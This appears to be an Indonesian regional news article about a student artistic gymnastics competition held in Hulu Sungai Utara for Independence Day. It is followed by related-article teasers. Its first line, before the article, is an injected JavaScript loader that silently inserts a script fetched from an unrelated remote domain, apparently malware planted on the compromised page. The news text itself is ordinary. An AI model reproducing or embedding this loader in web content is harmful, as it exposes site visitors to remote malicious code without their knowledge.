(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Sebanyak lima macam nomor senam artistik dilombakan antar pelajar se-Kabupaten Hulu Sungai Utara (HSU) oleh Pengurus Cabang Persatuan Senam Seluruh Indonesia (PERSANI) dalam rangka memeriahkan HUT Ke-73 Kemerdekaan RI yang digelar di GOR Karias, Selasa (28/8).
Lima jenis nomor senam artistik yang diperlombakan tersebut yaitu Senam Lantai, Kuda pelana, Meja lompat, Palang Sejajar dan nomor serba bisa. Lomba ini diikuti sebanyak 19 orang dari target semula 13 orang saja. “Mengingat cabang olahraga ini kurang banyak diketahui,” kata Acep Munawar selaku panitia lomba.
Menurut Acep, disamping untuk memeriahkan HUT Ke-73 kemerdekaan RI, acara ini juga sebagai salah satu program PERSANI HSU dalam rangka meningkatkan minat pelajar untuk meningkatkan prestasi serta potensi melalui olahraga senam artistik.
“Dengan demikian, tidak menutup kemungkinan akan lahir atlet-atlet HSU yang mengharumkan bangsa Indonesia melalui cabang olahraga ini, apabila pemberdayaan, pelatihan serta pembinaan benar-benar ditangani dengan serius,” imbuh Acep
Sebelumnya, Kabupaten HSU hanya dapat mendulang 2 perak dan 2 perunggu. Namun PERSANI berupaya untuk meningkatkan prestasi para atlet agar lebih tinggi. “Disamping minimnya sumberdaya pelatih dan minimnya peralatan, diharapkan pemerintah dapat memberikan perhatian kepada cabang olahraga senam ini, minimal satu tahun sekali dapat penambahan peralatan,” tegasnya.
Di sisi lain, Kahar Muzakir selaku pengurus PERSANI Kalsel yang juga bertindak sebagai juri menuturkan, kendala yang sering dihadapi selama ini adalah peralatan. Meski demikian, ia berharap nantinya atlet-atlet daerah dapat banyak berbicara di tingkat nasional dengan didukung fasilitas tersebut.
“Untuk daerah juga tidak melulu Banjarmasin, Banjarbaru dan Martapura saja yang biasanya mendapatkan medali emas, namun Kabupaten-Kabupaten lainnya di Kalsel juga perlu perhatian pemerintah provinsi Kalsel dalam meningkatkan prestasinya,” katanya.
Atlet-atlet cabang olahraga senam artistik ini tidak hanya didapat melalui pembinaan saja. Tapi juga bakat alami yang dimiliki anak-anak di daerah yang didukung dengan fasilitas serta pembinaan yang ada. Pada perlombaan ini juga diikuti oleh 2 atlet eksebisi Porprov asal Kabupaten Banjar dan Banjarbaru untuk memberikan contoh kepada atlet-atlet junior dari kalangan pelajar serta menambah semarak perlombaan.(dew)
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Pangan Sedunia 2024, puluhan mahasiswa di Ibu Kota Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA – PT Bank Rakyat Indonesia (Persero) Tbk memperkuat komitmen dalam menyediakan layanan yang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Telur yang acap kali masuk dalam daftar sembilan bahan pokok (Sembako) belakangan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momentum masyarakat Banjarbaru merayakan pesta demokrasi terjadi di kampanye terbuka pasangan Wali… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilu (Bawaslu) Kabupaten Barito Kuala menggelar rapat koordinasi dalam rangka… Read More
KANALKALIMANTAN.COM, BANJARBARU - Harga sejumlah bahan pangan dan kebutuhan pokok masyarakat merembet naik menjelang akhir… Read More
This website uses cookies.